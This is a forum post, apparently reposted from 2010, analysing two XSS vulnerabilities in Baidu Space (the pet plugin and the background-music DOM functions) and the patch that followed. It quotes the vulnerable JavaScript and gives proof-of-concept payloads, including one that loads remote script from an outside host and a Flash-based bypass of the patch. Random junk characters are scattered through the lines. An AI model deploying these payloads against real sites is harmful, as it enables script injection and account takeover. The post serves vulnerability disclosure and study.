中国网络渗透测试联盟

标题: hi.baidu Xss 漏洞 [打印本页]

作者: admin    时间: 2013-8-24 11:51
标题: hi.baidu Xss 漏洞
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  , {6 `( p. Z$ k! o' l! i& ?

9 R' S7 {0 x, x/ X6 n5 D3 f# [1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
0 f7 x: u) B: \  b2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  5 g% e( U1 @  w4 r; u: A7 u
. Q1 c0 W8 b4 r8 C- }
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  8 F: J$ Z$ U. i; b: S$ t' I
其中BdUtil.insertWBR为  - R% J1 N& X* L( D8 x
function(text, step) {  
. z4 q+ B0 B5 J; Z% g& D    var textarea = textAreaCache || getContainer();  
7 v' [5 x9 b1 ~' a' M( Y+ |; k; ^7 h5 o    if (!textarea) {  
+ C* {$ d& A) Z9 J$ W$ R        return text;  4 |8 `& F. u: E4 o
    }    X" S- @: H  I7 |2 d
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  " E1 P( S& c2 ^2 v& z- ^: H3 I
    var string = textarea.value;  . I& U4 d& r  |: ]  z" T
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
2 D" \) R+ q! U& i; P    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  4 m6 N2 [# {5 A& t  ?# g0 N
    return result;  0 K) Z, c/ g4 S1 x3 b9 t$ f  D. u7 d
}  - U) h+ L1 b# o3 w2 O  n
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
- [+ T0 e# C" G/ F* v/ s+ u测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
# O" |; E8 Q' J" E7 B) s   
; T6 U* {) E* s2 n二:creatbgmusic() Dom-Xss Bug  ( O) {& d6 i+ c) y; p- J
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  ; {4 H6 E1 ]. }6 `; ]; J3 F
( K; t% h! u, \8 b
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
+ y' W# {/ G6 O2 _% v
& }) u8 ~; i( n7 K9 Ofunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
3 M& B( q. F2 U: t7 g    //传入的murl赋值到bgmusic1和bgmusic2中  
1 o+ }+ V6 m6 R8 q8 p5 x9 s, t, ?    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  1 h+ J" r' S* e: R
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  5 x; w( _! V2 H
    if (musicnum <= 1) {  % n% [4 o* D& y1 o0 _; m6 P
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
' W: L1 `3 K# I% c$ x7 d    }  # B# s% g* ?7 p& X: n
    bgmusic1 += "</OBJECT>";  
, L, d# s8 K) P- U    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
& n) b' h; e9 `+ R' l" ]5 P    if (musicnum <= 1) {  
- o, I1 c9 R+ w1 }  p        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
9 x2 u4 I8 E4 w+ d  Z8 K' ^    }  + ?+ ~' A0 A' I# j0 B
    bgmusic2 += "> </EMBED>";  - _$ i" ]: T4 [/ G. _& Y- ]
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  ( q& ?+ `; w; u2 C8 P, i3 x3 b
    var bgmus = detectWMP();  
8 s8 X% x# S# j    if (functype == "FckMusicHelper") {  3 T( \! l2 J) A6 [1 A* K; }
        if (bgmus.installed) {  
# u  J6 A: W; Q6 ^, j7 e            if (bgmus.type == "IE") {  6 [: X% C8 b& |" G& J0 H
                return bgmusic1;  3 t& G! @8 B/ H5 u8 b4 J& V) r
            } else if (bgmus.type == "NS") {  
! b  Z! V6 b9 Q; G. g. y2 k: T                return bgmusic2;  
& T3 l/ l' p5 \3 s            }  
8 W- A0 o9 E) N  _- A4 _. n        } else {  ; }# S5 k5 E5 L# f1 v
            return bgmusic3;  8 u% I5 G6 U) X; T8 @! r
        }  1 J3 F4 W( r, f% u5 d' @- q
    } else {  5 d) Y" e5 `+ c0 o7 E
        if (bgmus.installed) {  
1 C3 s5 T0 @$ c9 e2 `7 M            //document.write 直接输出bgmusic变量 导致xss  
- N- J  @; n- {$ A/ U! Q            if (bgmus.type == "IE") {  2 ~1 }- t* C3 x8 u( n: N0 E" J
                document.write(bgmusic1);  : S" J" T) N# U5 Q
            } else if (bgmus.type == "NS") {  " c0 `' P2 o: j0 h
                document.write(bgmusic2);  
' J; W& ~3 }8 C7 l9 A3 d4 @            }  / v3 y- O) B( s- m2 i5 f( c
        } else {  
4 ^" N* i+ s' M- N# g            document.write(bgmusic3);  
0 ~; K, L$ D+ n' {5 s" {1 y" V        }  
4 U! L; D4 M( B3 X- |3 B# r        return "";  / Z  b, X. `( q1 A' w. x' U
    }  0 S1 U, z8 L: A
}  
, a- J1 i8 W% H' p0 S% G) @7 m* t6 O  F" k7 f/ v3 O/ }- b
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  , F8 P$ s( S2 T8 u9 |

3 u- O9 Y9 @0 X! L9 vfunction initBlogTextForFCK(){  4 m, v3 o$ e' `0 M% z! ^! S
//fck init music  . k( f; D% b/ ]" T
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
/ r8 d' V+ l, j; v( w9 X; avar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  : {: [4 v. m! O' g
var isAutoPlay=true;  / t9 s4 U" K0 i, r9 p4 ~9 u
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
/ K& {" [9 z" z  @  var img=imgBox;  7 u; w" c2 ^- W1 G  M5 W* I. o
  if(img.getAttribute(’rel’)){        
; c4 X% d5 O! D# g   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
$ z8 u$ w; E( t7 G- T% }4 w   var musicDiv = document.createElement("SPAN");  * F. b8 x7 \; n% w
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
7 U7 q6 `! I6 @7 L     " i* f' {2 ?0 |. U
      ..........................  / c$ L+ g" h" J7 J9 a0 h
     7 q; b( j# m8 A. w, \6 l8 c9 R
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
( E0 X8 n$ W9 `   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
' p" g2 w4 x0 y2 C( F$ K( ]   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
6 `5 K! E6 V, z- t5 w   musicDiv.innerHTML=shtml;  
6 n4 ]* b- [: Z6 P2 B. P   i--;n--;  & s% a1 r- H5 l" i& Y3 f
  }  & b* F) r; T% S# f: B
}  
* q( ~* o+ e0 N
; S" x$ k) u- p) h/ M0 ?0 ~从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  2 w# ]4 [6 M; i' v/ V$ `
   
9 v+ r! j7 B) P9 T4 W+ u测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
+ D6 C5 n9 B* l
+ j3 k: `) q/ W: x# X2 l7 C等待官方补丁  2 Y# N' F) U8 e9 ]/ M2 D" X

! r* u0 z3 Z0 O+ j5 ^update 2010年5月13日   & @/ \  V$ C9 X! ^1 K
6 t7 n* C8 r; r8 `% ]! }* K  @
官方补丁:  - v: k2 K7 V) Y

) x! y9 }4 o/ X: Pvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
& i0 k8 T0 \/ m; ?3 C5 K改为:  2 z8 [8 [/ p$ u; C
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  % Z0 s8 C9 b0 I9 f9 K5 e

2 f: ^  ~# q' z  \. b# H6 @update 2010年5月13日 21:50:37  
" s6 X6 {, g" A3 O/ }; E4 W, Z" I5 F7 ]; Q
补丁存在漏洞 没有过滤" 可以继续跨:  
0 v& T1 h8 [- D* B+ [1 t/ I
; X& k8 r/ K7 PNEW POC:  % h( |& ?, b  J/ w( E+ @' y
0 F5 R! C. [' q- N5 Q
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" * K7 k; [% f% U& H% b. `
2 q, X+ a, i, A! d5 W3 I
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>9 _! p4 r* D; J9 e* O) Z2 ^

" g0 E" m& j3 z




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2